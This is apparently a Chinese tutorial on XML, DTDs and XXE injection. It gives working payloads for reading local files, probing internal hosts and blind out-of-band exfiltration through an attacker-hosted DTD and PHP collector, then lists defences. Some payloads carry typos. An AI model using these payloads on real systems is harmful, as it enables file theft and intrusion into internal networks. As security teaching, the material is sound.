XML的定义
XML被设计为传输和存储数据格式类型,目的是把数据从HTML中分离 xml有一个自己的格式规范,如下: <?xml version="1.0" >//xml文档定义 <!DOCTYPE massage [ <!ELEMENT message (receiver,sender,header,msg)> <!ELEMENT receiver(#PCDATA) 以上就是xml的格式规范,这个格式规范是由一个叫做DTD的东西控制的 实体:ENTITY是实体的声明,实体可以理解为变量 外部资源的申请:SYSTEM PUBLIC是外部资源的申请 DTD的声明:DOCTYPE是DTD的声明,以代码定义了XML的根元素是message,那么XML必须如下写: <message> <receiver>myself</receiver> </message> # 外部实体 外部实体用于加载外部文件的内容。(显示XXE攻击主要利用普通实体) # 内部实体
XXE
XXE全称XML外部实体注入漏洞,发生在应用程序解析XML输入时,**没有禁止外部实体的加载**,导致可加载恶意外部文件,造成文件读取,命令执行,内网端口扫描,攻击内网网站等危害
xxe检测是否有漏洞
-
有明显xml数据传输
在抓包的时候,发现有xml数据的传输,那么可以在xml数据传输的地方插入攻击的xml的payload
-
根据content-type值判断
# content-type值为text/xml或者application/xml可能存在xml漏洞 # 盲猜 更改content-type的值为xml型的,然后再传输xml攻击payload查看是否有xxe漏洞
-
提交一个简单的xml测试语句,查看打印结果
# post提交数据 <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY test "fuck xxe"> ]> <t>&test</t>
xxe具体攻击方法
有回显
-
读文档文件
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini"> ]> <x>&xxe;</x>
-
读取php文件
<?xml version="1.0" encoding="utf-8"?> <!DOCTPE ANY[ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=conf.php">]> <name>&xxe;</name>
-
内网探测(存活主机)[无法探测到未开80端口的主机]
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://192.168.96.152"> ]> <x>&rabbit;</x> 当无回显或者回显为invalid element name时说明这个主机存在 当回显为failed to open stream时说明主机不存在
-
引入外部实体
引入外部的dtd文件,可以是本地文件,也可以是来自其他主机的dtd文件 <?xml version="1.0" ?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "http://192.168.96.1/xxe.dtd"> %file; ]> <x>&xxe;</x> # xxe.dtd <!ENTITY xxe SYSTEM "file:///etc/passwd">
无回显
-
步骤
(1)读取文件/etc/passwd内容,经过base64编码赋给file (2)通过引入外部实体blind.dtd,访问http://攻击主机IP/xxe_send.php (3)通过xxe_send.php将file的值写入到xxe.txt,从而使攻击主机得到base64编码的数据 (通过第三方来获取file,因为file在被攻击的主机上不会被显示,所以通过第三方来获得file的内容) <?xml version="1.0" ?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/Windows/win.ini"> <!ENTITY % dtd SYSTEM "http://192.168.96.1/blind.dtd"> %send; ]> # blind.dtd <!ENTITY % blind "<!ENTITY % send SYSTEM 'http://192.168.96.1/xxe_send.php?data=%file;'>" > %blind; # xxe_send.php: <?php $data = $_GET["data"]; file_put_contents("xxe.txt",$data); ?>
防御方法
-
禁用外部实体
PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false); Python: from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-
过滤用户提交的xml数据
过滤关键词: <!DOCTYPE 和 <!ENTITY ,或者 SYSTEM 和 PUBLIC